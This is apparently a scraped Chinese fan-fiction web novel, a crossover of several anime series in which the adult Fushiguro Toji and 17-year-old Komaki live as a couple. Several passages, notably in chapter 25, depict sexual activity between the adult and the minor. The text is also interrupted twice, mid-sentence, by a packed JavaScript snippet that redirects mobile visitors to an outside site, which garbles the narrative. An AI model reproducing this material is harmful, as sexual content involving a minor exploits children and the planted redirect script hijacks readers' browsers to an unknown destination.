可小莳最是自我中心,心里有想说的话,根本不在乎对方回不回应,她头靠在伏黑甚尔背上,声音轻柔缱绻:“听说过吊桥效应吗?当一个人提心吊胆的过吊桥的时候,会不由自主心跳加快。如果这时她碰巧遇到另外一个人,她就可能会错把这一刻的心跳加速理解成是对方令自己心动。” “但我对甚尔绝不是那样高压高刺激环境下产生的情愫,更不是对生理反应的错误归因。那次是我第一次毫无反抗之力的被绑架。”不是第一次绑架,是第一次毫无反抗之力的绑架。 “事发突然,我并不指望任何人前来救援。”其实有指望过江户川柯南……但这里是善意而谎言!无伤大雅。 “所以我动用了一些应急措施,那个绑匪,他居心不良,大概率是不会拿到赎金以后将我完璧归赵,我只好找到机会仓促地先下手为强。顺便一提,口袋还是你帮我找裁缝做的呢,谢谢你,甚尔君。” 小莳嗅到洗衣液的味道,是偏淡的柠檬草清香,稍微远离就消散:“对方装备先进的过分,我实在……但是你出现了,你救了我的命。那对我来说很不一样。” “我喜欢你,甚尔君,在那之前我就喜欢你,在那之后我想和你在一起。我想你在我身边,我以前从未对任何其他人有过这种想法,你是特殊的。”单指恋爱方面,其实她对朋友和亲人也有过“一直在身边”的期盼,虽然失败了--这种话就不必说出来惹他多心了。 她可学聪明了。 水龙头关上了,厨房现在一点声响也没有。伏黑甚尔转身反将小莳搂在怀里,亲吻她。 过程中她稀里糊涂被抱到操作台上,他抵着台面将她压到墙上,加深。 结束后,她趴在伏黑甚尔怀里,头靠着他脖颈,“大晚上你洗菜做什么。” “原本是准备你明天的早餐。”他用手帮她打理凌乱的头发,再吮了吮她的耳垂。 小莳扭头看菜篮里的菜,包菜,西红柿,圆白菜,好狠毒的男人,就给亲亲女友吃这些? 没再接着问下去,要是明早真看到这些她就掀桌子。 “我们家换洗衣液了?以前我记得不是这个味道。”回忆刚刚的香气,清香温暖,很不错。 伏黑甚尔回答:“没有,就是之前没用完的。洗衣液一大瓶能用很久,家里的大概年底才用换。” “?”那她刚刚嗅到的是啥,小莳再凑近伏黑甚尔,鼻子贴着他前胸到处蹭:“那你用的沐浴露是柠檬香气?” “不,我用肥皂。” “是柠檬味的?” “不,工厂里添加的香精味,便利店随便买的。冲完就没味道了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413092|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啊!”小莳恍然大悟,对着男朋友的喉结亲了一下,“那大概是荷尔蒙的味道,说明我对你的喜欢已经上升到激素层面。你身上的香茅的味道很清爽,女朋友很喜欢。”什么都难不倒她。 然后主动环着他的后颈,在他嘴角的伤疤烙上一吻。 最后以伏黑甚尔把她丢到床上上,自己去浴室结束。 过几天,小莳终于没办法忍受不能洗澡的生活,伏黑甚尔帮她擦了身体。 他嘴真的挺臭的。在说出“你背上有好多灰”以后,小莳意识到想刀一个人的表情是藏不住的。 伏黑甚尔还问她:“我现在天天洗澡了,你呢?” 小莳:“我恨你。” “你有腋毛,还是白色的。” 她死去的心又活了一下,不是那种恢复生机的活,是暴跳如雷那种:“……你有那么多前女友,没有人和你说过男人和女人一样,都要该长毛的地方都会长吗?尊重一下生理学,我的体毛都是白色的,不单是头发睫毛眉毛。” “她们都没有。” “开动脑筋,那是脱毛了。你在路上看见一个光头总不能以为他天生不长头发,说不定人家只是后天谢顶呢。” 小莳对伏黑甚尔的无知感到震惊,她光着脚踩在他大腿上,等着他擦完胳膊擦腿。 在这一点上,伏黑甚尔像是没长脑袋:“我以前没问过,她们也没说。” “流俗如此,算了,总之你现在知道了,头发是白的,其他地方的毛发也是白的。”小莳感受着湿润粗糙的毛巾带着热气敷上自己的手臂,伏黑甚尔力度适中的擦拭,靠在新买的防潮折叠椅上说:“我前两天上网,还看到有反串成女性的不明生物说自己可以灵活自如的控制生理期,只能说像你一样漠不关心的确实也不少就是了。” “有人被文明的表象欺骗,觉得暴露出来是不文明的体现,所以羞答答的刮掉。我前两天被哲也推荐看NBA的时候,那个前锋扣球以后庆祝的时候两边毛全露出来了,还是上电视的公众场合,坐在观众席的也不乏名流,怎么没人觉得他没脸见人。你会因为自己长了毛而羞耻吗?”小莳越说越快,觉得自己嘴巴里长了个飞速旋转的陀螺,活在现实中,很难不愤世嫉俗。 他习惯应对莫名其情绪的女朋友了:“并没有。” “所以我也不会。有一件事,如果有人只约束你,而不约束他自己,反哄骗你那是为你好,相信我,这个人是坏人。”她一脸认真的教自己的男朋友反PUA技巧。 伏黑甚尔低头看小莳的腿,确实有白色近透明的细微毛发,只是不太容易看出来。他捏了捏少女的腿肚,轻挑地笑着问她:“你前两天让我收集丹桂,让我清洗完晾干后再加糖水熬煮。一瓶蜜水我做了半天,你在沙发上看电视。也是为我好吗?” “……”立刻安静下来,什么都没听见。让你学聪明,没让你这么聪明。 不一会。 “你别摸我腿。”小莳蹬他的肩。 “我在帮你清洁。” “你这话也就骗骗自己,你刚刚一直在摸我大腿里面,很痒。” “像这样吗?”伏黑甚尔将毛巾挂在小莳架在自己身体的腿上,伸手抚摸轻揉着她的肌肤。 “所以说别趁人衣衫不整的时候占便宜啊喂!”小莳现在全身就穿着一套内衣,身上披着干毛巾。就露肤度来说和比基尼差不多,对她来说并不是很了不起的事情。但对方这样子操作可就让一切都变味了。 伏黑甚尔被小莳说了一句,到清洁结束前都尚算乖巧。只是帮她穿衣服的时候又在卧室进行了一些,其他的事。 再过几天,面上的痂脱落了大半,露出新长的淡粉色皮肤,还有些许暗淡的色素沉淀。医院开了药,伏黑甚尔每天早晚都帮小莳喷药,再涂抹凝胶。 “如果是断眉我还能接受,但如果是蜡笔小新那种后面全没的,那可太丢人,我一定会嫌弃我自己。” “你还可以去纹眉。” “甚尔应该说无论怎样我都是你心里最美的,扣十分。” 伏黑甚尔表情很恶劣,小莳就知道马上不会是什么好话。 果然,“好恶心的说法。” 他见她露出危险的表情,便抱着她让她坐在腿上,从后面贴近,轻吻女友的耳垂,“会长好的,我问过医生了。放心。” ------ “现在分加上了吗?” 小莳还沉浸在柠檬草的气息中,愣了一会才反应过来:“满分满分,甚尔一直是满分。” “那你刚才在说什么。” 小莳眼神迷离,正因为如此说话才可信,她轻声说:“那是我骗你的。” 伏黑甚尔心中某个柔软的地方被击中了。 将小莳搂在怀里良久,直到她挣扎着起身才松开。 25. 第 25 章 小莳身体素质确实很强,本来预计四十天能拆石膏的,一月不到便拆了。此时,她脸上的伤口也好了大半。皮肉全部长出来,主任医师观察过,说只要坚持涂抹药膏,就能完全恢复。 还开了五六盒医用敷料,俗称医美面膜。 一看介绍了不起,看成分,水,胶原蛋白,玻尿酸,生长因子。 伏黑甚尔有着很朴素的观点:“医生推荐,2000一片,你要坚持用。”价格这么高,想必效果不错。够家里买几顿菜了。 “甚尔你是会通过电话购买购物节目推荐东西的类型,千万不要填我们家地址,会被账单淹没的。”小莳指着配方和他说明,“对比其他面膜,他只是用了低敏原料,没加增稠剂。其他并无特殊之处,一定要说的话就只有玻尿酸的价格是甘油的很多倍。” “那它是很昂贵的材料吧。”伏黑甚尔对护肤化妆知识并不了解,故有此问。 “你身上的高定西服大概20-30w,而玻尿酸原料的价格不超过300日元1克。一片面膜中含有28g液体,其中的添加量。。不超过0.05g,你就当医生只是顺便拿点出场费,行行好,它在出售的一刻已经发挥了最大的价值。” 伏黑甚尔听出了小莳话语中的含义,他试图扭转:“但是你还是得用它,医生说对恢复有好处,每天洁面后10分钟。” 小莳见他对医院有种迷信,知道说不通,开始耍赖:“才拆石膏,手不能动,用不了用不了。” “我帮你。” “……” 伏黑甚尔身上有一种“妈妈觉得你冷”的笃定。小莳在名为泽田小莳的时候,每年新春都会回日本陪泽田奈奈。这位并非生母的天然呆温和女性身上有时会显现出大女人的坚持,她是对生活有一定要求的人:“小莳,不吃蔬菜会长不高的”“小莳,吃完饭以后要自己把盘子端到水池,不要让奈亚做。” 很久违的妈妈的坚持既视感出现了! 小莳很想吐槽,但是大概甚尔会因为被比喻成妈妈而发脾气,所以算了。 过了一会,伏黑甚尔问:“你怎么看出来衣服的。” “剪裁就很不错,加上珠边,这一般是定制才有。定制西服基础大概都这个价格,挺好看的。我很喜欢甚尔穿这个,和卫衣运动裤简直没有可比性。而且我有说过这个衬衫显得甚尔君胸很大这件事情吗?” 被捏着脖子在副驾上亲了一顿之后,小莳觉得大概是没说过。 她莞尔问伏黑甚尔还记不记得是在哪家店定制的,有机会再去订一套,如果他也愿意穿的话。 “你就不问它是从哪里来的?” “我是知道甚尔在衣着方面没什么品味,你看你平常就是半永久白加黑。这么一套鹤立鸡群,又是你离家出走那段时间的衣服,很明显出自克丽丝·温亚德。她眼光真不错,不管是看衣服还是看男人,我个人非常欣赏她的品味,当然演技也是。”小莳比了个耶,这段时间足够她看完那部职场喜剧,非常好看。 伏黑甚尔说不清心里什么滋味,他是期待小莳表现得更在意一些的,轻哼一声,提醒她:“才拆石膏,手不能动。” “被甚尔亲了一下,奇迹般好起来了。”穿帮了她也不在意,左右面膜这茬过不去。 回到家里,隔壁的重装修工作也好了一半,小莳也快恢复能够生活自理的程度,没过几天就可以喊灰原哀来住了。 小莳发现伏黑甚尔又不高兴,“她住哪?” “你原来的房间。” “我呢?” “你住主卧。” “那你--” “我当然也住主卧。” 她又发现伏黑甚尔立刻结束了不快乐。 具体症状为她被掐着腰抬高了一截,靠在墙上被亲吻。脚尖怎么都靠不到地面,小莳只好双腿夹住男友的腰,右臂搭在他肩上。 “你别弄到左边,今天才拆石膏,我可不想再去医院。” “知道了”他含糊说着,手臂托着小莳的臀部,不费什么力气就将她撑持住,重新回到亲热中。 小莳很喜欢伏黑甚尔嘴边的伤疤,亲吻时她也多多照料此处,舌尖粗粝的触感让她很是心悦。她内心是这么解释这种偏好:口腔溃疡的时候我也喜欢舔伤口,嘴上起皮了我也喜欢舔起皮的地方,到流血也停不下来,个人癖好,没有什么不健康的。 唯一不好的是很容易被男友缠住,阵地很快又会转移到他的口腔中,唇舌交缠。 ------ 伏黑甚尔从浴室里出来的时候,小莳已经瘫在沙发里了。 “你好慢,等你帮我把扣子扣上呢。”如果着凉了就把锅退给甚尔! 伏黑甚尔走近,语调缱绻:“小莳希望我多快?” 这是容易引发危险的问题,“我希望你不要妄想在我衣服上擦手,你洗完手应该把手擦干。”虽然这样和那样的事情是生理反应引起的,但是结束以后应该让双手还原清洁干燥。 “你自己就在衣服上擦手。”伏黑甚尔顺从地从茶几抽了两张纸,将手掌和每一根手指的水珠都吸干,扔掉。 “我擦的是我自己的衣服,当然不介意,而且你……算了,没什么。”diy完和一般洗手那能一样吗,劝你自重。 伏黑甚尔掀开小莳自己粗粗盖上的针织羊绒,无视她喊冷的抱怨,在她白皙的腹部又留下几个吻,然后才帮她扣上,轻拍她的臀侧,发出啪的一声,在没什么声音的客厅里格外明显 “……”还挺响。 “……”小莳踹了他一脚,踹第二脚的时候脚踝被捞起,失败了。 “我去收拾房间。”留下这一句话,伏黑甚尔离开了。 他当晚就到主卧报道了。 天气有点冷,但还没到需要开空调睡的程度,有个稳定发热的物体在床上的感觉很是不错。小莳第二天醒来的时候是在伏黑甚尔怀里,她本来睡在床头右手边,醒来时已经完全在左边一侧,属于自己的杯子也被踢到一边,她和伏黑甚尔共享他的薄被。 被子里满是伏黑甚尔身上清新的气味。 小莳将手覆在伏黑甚尔搂着她的手臂上,旁边传来声音:“怎么了?” 转头一看,男人一脸清明,是醒来很久的样子。 “刚醒,和我同床共枕的男朋友互动一下。”她被子里的手握住对方想要胡作非为的手。 “更好的互动岂不是…” “停停停,还没刷牙。”小莳扭过头去,拒绝。 一起困觉的体验还是不错的,很暖和。初体验后,小莳总结。 灰原哀周末就被阿笠博士送了过来。一番寒暄后,她带着少少的行李来到自己的新房间,整洁,明亮,空间不大。 “我和甚尔住一起,你的房间已经请家政过来重新整理了一遍,所有的用品都是新的,桌子凳子我也托那边的经理代为购置了一套学生适用,如果有不合适你再和我说。” “客厅有电视,有什么想看的频道直接买,没有密码,冰箱里有饮料,够不到的话我们可以再买个小冰箱。零食在这边的柜子。你的浴室是外面这间,只有你一个人使用,请自便。有什么喜欢吃的菜告诉甚尔,家里现在烧的都是我喜欢的,如果不合你口味你也可以点外卖,到时候我可以帮你绑定银行卡。” 灰原哀微微动容:“还真是财大气粗。” “是这样的,钱不是我赚,我完全不心疼哒。你就当在这里度假就行,每天玩玩手机,看看电视,不用上学,多么快乐。” “……”好像这位赤司小姐不太爱学习。 灰原哀对赤司小莳的的男朋友仍然有点警惕之心,但伏黑甚尔并不在意这个看起来只有7岁的18岁天才博士。只是一个胆子不大的小孩,但比江户川柯南顺眼。 灰原哀新入住的几天,公寓里空气都有些凝重。 如果以小动物做比喻,伏黑甚尔像一只流浪猫,现在和饲养员短暂的进入蜜月期;灰原哀像一只害怕猫咪的聪明小仓鼠,喜欢躲在笼子里偷偷地观察猫和饲养员动向。虽然每次都会被发现就是了。 伏黑甚尔一开始还会故意看回去和她对上视线,然后她受惊一样生硬扭头,后面就随她看了。 小莳对视线本来就不太敏感,偶尔一两次发现堆放在观察自己,回以和善的微笑。这位小硕士,现在应该叫小博士,但是和阿笠博士有点重复了,就改叫小研究生好了!研究生反正也是既有硕士也有博士,都包含在内。小研究生年方18,比17的小莳还要年长一岁,为人确实也稳重成熟。 除了她居然和园子一样喜欢那个三角恋侦探男主。就是拒绝了妹妹但又不彻底,然后侦探男主芭蕾舞演员女主和妹妹三个人play到后期的那个。 “有魅力的男性被不止一名女性喜欢的概率并不小,请不要这样说柳先生。”柳先生是观众对男主的称呼。 “15集的时候有不知名绅士给女主送花,柳先生醋意大发,在他一通真情告白后,第二天他陪妹妹逛商场去了,以单身人士的身份。” “……他那是害怕刺激到妹妹,她性格有些病娇,出于对妹妹的关怀才暂时没说的。” “我其实不介意情节里出现三角恋,这样隐瞒并非不是光明磊落的做法,柳先生以关心为名做的不坦荡事也太多。我以前就有一个朋友同时交了八个男朋友,也可能是九个,我没细问。”阿纲真的很有魅力,万人迷属性谁都抵抗不了。 灰原哀的注意力一下就被章鱼式脚踏多条船恋情惊讶:“……你说的这个朋友是不是你自己。” 这一问伏黑甚尔的注意力也被吸引过来了,被两道目光追逐着,小莳哭笑不得。 “当然不是!是我兄长!” “赤司征十郎?!”灰原哀惊掉下巴,你们豪门…又同又乱。 小莳琢磨着把她□□老哥的背景更换一下,换成更适合和谐社会的宝宝巴士:“不是征十郎,是我,额,在网络上结识的网友,下面简称他为义兄。他长得不错,是个部门领导,身边的属下大部分都很喜欢他,少部分扭曲的喜欢他。隶属于公司领导的直属部门部长也喜欢他,那个部长还是公司董事长的义子。对了,我义兄在公司里带他入门的导师也喜欢他。真是一场酣畅淋漓的办公室恋情,要素齐全。每天我的朋友要应付那么多男人的猛烈追求真是忙不过来。”小莳认为扭曲喜欢的是狱寺隼人和六道骸,她和恭弥关系挺好,在此先把他从相爱相杀的扭曲爱恋里剔除出来。 恭弥那个叫……虐恋情深吧。也是经久不衰的流行单品。 “有些人就喜欢在网上编故事骗人,赤司小姐你别是被骗了。” 她人就在现场我能被骗吗?! 聊天不愧是最能拉近女孩子间关系的利器,小莳拉着灰原哀讲了一会被她改编为职场背景的黑手党恋爱故事。说得对方一愣一愣的。 灰原哀惊讶:“因为一场策划的团队比拼,到最后对方居然会深深折服于你的朋友吗?” “这正是新概念傲娇的可贵之处。外冷内热,性格率直,很强势,又拽又飒,萌点一下就出来了。他的口头禅是‘闭嘴’‘烦死了’会叫我朋友杂碎,说着‘我才不承认你的领导地位’,但是我朋友给他布置的工作加班也要完成。” “哦~”灰原哀是个注重精神娱乐的可爱女孩,小莳这么一说她立刻就明白了嗑点。 “而且这个部门老大,他长相是熟男类型的,脸上还有很帅气的疤,不晓得你能不能理解,是有一年户外活动的时候在雪地里晕倒了冻伤的。在这个位置。”小莳比着自己的左边脸颊,这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413093|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冻就是8年,直接体寒:“我看过照片,眼神很狠,脸蛋够俊,身材也nice!” “他们年龄还相差十岁。年上。”小莳竖起大拇指。 灰原哀:脸红。 很快,小莳的注意力有被吸引到电视剧的剧情中,柳先生面对狡诈的诡计并不慌乱,而是抽丝剥茧分析还原出案情真相,将一切娓娓道来。她和灰原哀看得津津有味。 晚餐后,小莳见灰原哀难得留在客厅还想看电视,便去冰箱拿了瓶果汁回房玩手机。 过了会,伏黑甚尔整理完厨房,也回到房间,看见斜躺在床上,居家鞋随着脚踝一摇一摆晃荡的小莳。 他走上前脱下她的鞋,“你的脚有点凉,应该穿袜子。” “不要。懒。”她正在看小狗狗的可爱视频,忽然想到前两天自己刚喂过的黑宝,“甚尔,我觉得我们家还能再养一只修狗。你怎么看?” 得问问男朋友的意见,就像阿纲带朋友回家住之前也得问问奈奈妈妈--操持家务的人有发表决定的权利。 “不怎么看。”伏黑甚尔拽着她的腿,把她拖到床沿,然后将小莳整个人抱在怀里,“不如我们先谈一下你说的部门主管?” 在她耳边低声反问:“眼神很狠,脸蛋很俊,身材很nice,相差十岁,嗯?” 这么一说XXANXUS和甚尔君是有一点点相似的要素,问题在于熟男帅哥很多不都这样……男朋友你别太敏感,XANXUS都36,今年该37了,她还青春无敌对中年男子必然是没有兴趣的。 小莳依据上一次的经验举一反三,这种时候最不能讲道理,让对象开心起来才是第一要务。 于是她主动献上一吻,等到伏黑甚尔逐渐得到控制权时,及时结束,两人唇边拉了一条细细的银丝,小莳凑到他嘴边舔掉了,顺便轻咬了一下伏黑甚尔的下唇。 “那是我瓦利亚的顶头上司,我在那边的互联网昵称是:领导同事在天堂。在我过去之前boss就和我那义兄有深厚的情谊了,再说打过工的朋友都知道,愿意和领导谈恋爱的都是狠人。我那时候巴不得下午五点以后直接换个手机生活,可惜要不得,我们住的是集体宿舍,以前作为唯一的童工好惨啊甚尔。”虽然是城堡,但怎么不算集体宿舍呢?弗兰在她十五岁的时候就成年了,已经脱离童工范畴。 伏黑甚尔先是被女友殷勤贴贴,再是听了令人啼笑皆非的解释,因二这事便算过去,只挑了其中一句调侃她:“我不算你的助理了吗,雇主?” “……”小莳选择堵住伏黑甚尔的嘴。 事后伏黑甚尔邀请她一起进去洗澡,毫不犹豫拒绝,小莳还没准备和人赤裸相对。 再说昨天才洗过。 现在她已经不是那个每天必洗澡的爱干净小女孩。 这次睡觉时,小莳省略了不必要步骤,直接窝到伏黑甚尔怀里,“你仔细点,可别伤到我。” “……”伏黑甚尔没说话,手穿过小莳的左手,揽着她的小肚子,汤匙抱。 过了一会,小莳还没有睡着,伏黑甚尔问她:“小莳喜欢年上?” “哦,你说我和灰原讲的那个啊,我对年龄没有特别的偏好,只是觉得她大概率偏好年长的男性,所以才举了我领导的例子,顺便即使不考虑这个我也愿意带着领导的追老婆故事108篇走遍米花。”XANXUS重用她,提拔她,有什么活都布置过来锻炼她,恩重如山,必须得好好报答他。 小莳越说越清醒,最后及时打补丁:“当然,和甚尔在一起之后我也就偏好年上了,毕竟甚尔也大我10岁呢。”虽然就心性而言,感觉他不到20,反而她才是比较沉稳的那个…这就不必说出来了。 伏黑甚尔膝盖支撑着翻过身,他现在在小莳的正上方,借着透过纱帘的朦胧月色,小莳只看见眼前有一大团黑影。 小莳有点慌:“喂,我才拆石膏没几天,你可不能乱动。骨折可是很痛的哦!” 伏黑甚尔嘟囔了一句什么,小莳没听清,等她被他的气息再一次包裹的时候,才想到他可能在说会小心的。 一个意乱情迷的吻结束后,伏黑甚尔的嘴唇和身体一路向下,从她的颈部,到锁骨,然后撩起她的睡衣下摆…… 最后伏黑甚尔在她的小腹上留下亲吻时,小莳以为这就结束了。(只是亲了一下肚子,实际上是符合审核标准的。) 下一秒他的手指跑到了其他地方,并不设防的小莳被麻痒的触感神经一激灵。 “!!哇!” 小莳认为自己只是在正常的谈恋爱,无论是牵手拥抱接吻还是一起睡觉,都是正常情侣会做的事情。但现在她觉得自己需要一个安全词,之类的。 这太突然了。 伏黑甚尔没停止动作,让她觉得身体像一艘触礁的船只,不由自己说了算。 “我知道的,不会对你做什么。”伏黑甚尔单手支着身体,往上给小莳的嘴唇印下一个吻。 “以欲为情,欲长情消。” “但那是对我而言,小莳的话,应该是比我更好的人。” “所以,只是服务你的话就没关系,对吧?” 天才,出院。 小莳不记得自己是怎样被安抚,她只意识到这是一种前所未有的体验,伏黑甚尔的嘴唇、舌尖……不知过了多久,她呼吸困难得像躺在沙滩上搁浅的鲸鱼,无法凭借自己的力量回到大海,一阵一阵复杂的触感在神经元间传递,变成电信号如鼓点一样刺激她的感官。 然后一切都消失了。 她听见伏黑甚尔低低的笑。 虽然很害羞,但也很疲惫,什么都没做真的是把她累得不行。等伏黑甚尔从浴室里清理和纾解完出来的时候,小莳已经在床正中睡着了。 伏黑甚尔:…… 26. 第 26 章 次日早,小莳意识还没完全的时候就被薄荷味的吻笼罩。 伏黑甚尔对她说的第一句话是:“我刷过牙了。” 知道了知道了小天才,尝出来了。小莳脑袋里是这么想的,但她身体还没做好说话的准备,所以翻了个身侧卧,想再赖会床。 伏黑甚尔对她说的第二句话是:“你昨晚弄我脸上了,很多,害得我去洗脸。” 睡不了一点。 小莳左手掀不了被子,蛄蛹着出了被窝筒,给伏黑甚尔留下一个冷酷的背影。 灰原哀是个爱熬夜的,自称夜行动物,不到10点她不会自然醒,餐桌上已经摆好了两份早餐,剩下一份是谁的不言而喻。小莳拿开了属于自己的那份,窝在沙发上吃,拒绝与人同席。 绑架事件后,赤司征臣派自己的助理直接联系学校教务处,小莳被批了一学期的假,并且不影响她升学。虽然她更期待直接休学,但是如果在亲生父亲面前说什么不想上学的话,多半会被不重视女孩学业但必不容忍偷懒心思的赤司征臣放在心上,然后课业说不定也会被他记挂。 好歹也能休息到4月。知足常乐。 小莳头一次不搭理伏黑甚尔,他也知趣,白天没主动再来贴贴,只是到了晚上回房,又凑到小莳跟前和她亲热。 黏黏糊糊的晚安吻过后,小莳制止了伏黑甚尔想要继续的行动,她和他十指相扣,把他的手推回到属于自己的那块位置:“睡觉了,晚安晚安。” 翻个身面朝外倒头就睡。 伏黑甚尔:…… 日子一天天过着,在伏黑甚尔的坚决反对下,黑宝最终没能进家门,但是伏黑甚尔每天倒垃圾的时候会给他喂个罐头,这是小莳努力争取的结果。以及,在攀比事件过后,伏黑甚尔确实维持了勤快、每天洗衣服倒垃圾的好习惯。 小莳觉得自己恢复的差不多的时候,一些事情就可以提上日程。比如,去PK学园找一个粉色头发外观奇特的学生。 2023年,当然不会傻傻的去学校门口蹲人,小莳在学校官网上看见了最近的活动宣传栏,校运动会,二年级生展现风采……下方小字,图片为二年(3)班。图片中,虽然在角落里,但是粉毛仍然很显著。 快要放学时,小莳带着伏黑甚尔直接翻墙进了pk学园。 本来在班级里上课的齐木楠雄捕捉到了不属于本校生的心声。 “这教学楼好气派,比帝丹新不少。但金鸟笼银鸟笼,都是囚禁自由的禁锢,感觉不如病假。” “齐木楠雄,现在的高中生可真是人才辈出。” 呀嘞呀嘞,居然被找上门来了,话说赤司不也是高中生吗。居然翻墙进校园,学园的安保措施应该与时俱进。 齐木楠雄开启千里眼,想看清对方的方位,及时躲开,说以后再也不见就是再也不见,一点不含糊。然后听见对方想着如果在学校没看到人就去家里找。 她已经完全打听到了,父亲是齐木国春,业务能力不强但特别擅长讨好领导的漫画编辑,不凑巧,那家工作室姓赤司,还直属于赤司征十郎。母亲是齐木久留美,家庭妇女。还有个兄长,齐木空助,是个名副其实的天才,小莳花钱购买了齐木家一家四口中除了齐木楠雄以外的其余三人资料,在英国的私家侦探跟踪被发现了,折戟沉沙,其他两个顺利的不得了,连齐木国春一天平均要说多少奉承话都打听的清清楚楚。 从性格温和可爱的齐木母亲那里得知,齐木楠雄一个月零花钱才3000,好可怜的超能力者。 齐木楠雄:……赤司同学,我曾经也和你心连心,现在你却对我动脑筋。月入三千怎么你了。 小莳找到了属于二年级的那层楼,直接坐在楼梯上等下课铃响。 她的算盘打得响:“嘻嘻,反正是甚尔君洗衣服。” 下课后,齐木楠雄没怎么回避地顺着人流就走向小莳。同学们的心声从“这是谁?”逐渐变成了“齐木?” 引人注目指数直线上升。 齐木楠雄心情不美妙了,垮起个脸,但客观来说他表情也是半永久,肉眼看不出差。 小莳心下觉得奇怪,怎么这位齐木同学这次倒是如此主动送上门,一点也不惊讶自己被找到,不符合他以前匿名做事的风格。 上次他变猫可是一扭屁股就走了。高冷得很。 第一,他没有扭屁股;第二,赤司小莳都知道家庭住址父母情况了,想逃也逃不掉。 见面第一句话,先送礼:“齐木同学,这是给你带的下午茶。希望合你的口味。” 从伏黑甚尔手上接过小巧精致的礼品袋,递给齐木楠雄。 里面是晶莹剔透的玻璃容器盛的咖啡冻,上面还有一层奶冻,最上面是形状饱满的奶油点缀巧克力豆。 齐木楠雄:我也不想伸手的,它自己不听使唤。 伏黑甚尔其实不清楚小莳今天吵着要出门是什么动机,还破天荒的跑到了米花外面的地方,先是排队买了近期社交平台上爆火的网红产品,排队半小时,限量购买一份,她自己也没吃,然后反方向又行驶了不短时间,来到这所私立高中,他听从指示把小莳从墙外托进去,自己不费什么力气就翻越过墙,并确保甜点心保持精致。 “大小姐报恩,两个月不晚。你就当我是礼轻情意重。”小莳做了女朋友,有时嘴里也会蹦出难以理解的词句。他完全没听懂。 大小姐坐在楼梯口玩手机,他就在旁边站着。 下课,老师们从教室里出来的时候他被小莳拉着到另一边走廊门后躲着,“甚尔,老师就算瞎了眼也会发现你是个社会人士的,我们得躲起来。” “……” 教师走之后出现了片刻的安静,紧接着整层楼都活了过来,高中生结伴有说有笑向楼梯涌来。他被小莳拉着也流入人群。 “人好多,如果你看见粉色头发记得提醒我。这些高中生吃什么的长这么高!” 她急了。 伏黑甚尔看到齐木楠雄,觉得他有点眼熟,想起那天突然出现的同款校服只不过穿裙子的女学生:“你是不是,有个妹妹。” 齐木楠雄想,看吧,这才是正常人会有的想法。赤司同学你张口就男扮女装很不给面子。 然后他听见了小莳的想法:“我查过他家户口,大儿子是个黄毛,粉毛就他一个,那女高指不定叫齐木楠子,反正无论如何就是他本人变的。” 然后还有一句“甚尔好笨,没个高中文凭果然容易被骗。” ……看在排队半个小时限量一份的咖啡冻份上,想想又不犯法,齐木楠雄,要忍耐。论迹不论心这句话在他这里是完全失效的,齐木楠雄只看见眼前脸上有道肉色疤的女孩想了很多和表情大相径庭的失礼内容。 小莳露出个和善的微笑,“齐木同学很喜欢咖啡冻吗?” 再和他确认一下,上次看到他旁边死了人都停不下来,基本是很喜欢了,但万一有什么误会岂不是更令人尴尬。 “我并不讨厌。” 小莳懂了,他超爱。而且他果然说话没张嘴。世界上那么多超能力者,如果多她一个又怎样呢。嫉妒。虽然很感恩,但还是要说,如果能让她的能力恢复,就是一天吃五顿饭住城堡天天有看不完的电视她也愿意。话说最近嘴上说着不要心里却很诚实的傲娇越来越多了。 齐木楠雄被小莳一条接一条的心音折磨得不堪其扰,一看她人,云淡风轻,脸上得体的笑。 …… 寒暄了两句,小莳并不犹豫如何进入正题,直接就说明了来意:“齐木君,非常感谢你一个多月前对我的帮助。对我来说大概是永世难忘的恩德了,我并不太清楚应该如何报答你,如果你有任何方面的需要,可以随时联系我,我会竭尽所能帮你达成心愿的。” “在此之前,我请速递员送了一小箱咖啡冻到齐木家,有我在各个社交平台上看到的博主推荐的甜品店单品,也有食品工厂里生产的保质期稍微长一点的。因为不确定齐木同学到底有什么偏好,其他的甜品也略微准备了一点,大概等你回到家过一会就能送到。一点心意而已,请不要推辞。” * 一起走到校门口,小莳当着门卫想问又不敢问的的脸,拉着伏黑甚尔的手走出去。 伏黑甚尔(恍然大悟):所以他还真是男扮女装,完全没看出来。 该说的话都说完了,和齐木楠雄告别后,小莳坐上了回家的车。 齐木楠雄回家以后,他的母亲正好签收了写着他名字的小箱子。 “小楠,你买了东西吗?啊,好重!” 齐木楠雄隔空移物,没让箱子侧翻。 “小楠,你手上的小袋子是什么,好可爱,女孩子送的吗?” 齐木楠雄一拿一个不吭声,移到了自己房间才拆箱。这一拆,就看到了重量5kg往上,包含二十余件咖啡冻和十余件其他甜品的王之宝库。 他也不想的,但是餐前一不小心就吃了三个咖啡冻,吃不下晚饭了。 他回忆了一下何以至此:第一个是赤司同学亲自排队购买的咖啡冻入口即化,咖啡的苦和浓郁的奶香交融,意犹未尽;第二个是牛奶含量较低的咖啡冻,咖啡的风味和醇厚的馥郁芳香在入口的一刻在舌尖迸发,滑溜溜一下顺着咽喉进了肚子,不够,有点苦,再奖励一杯甜滋滋的中和,然后妈妈就来敲门了 幸好很久违的齐木国春在餐桌上谈起了自己晋升无望倒是很轻易就能被优化的工作。没让妈妈注意到他。 他晋升了,具体做的事情没有变化,工资翻了一倍。 “三句话,领导给我涨了30w!” 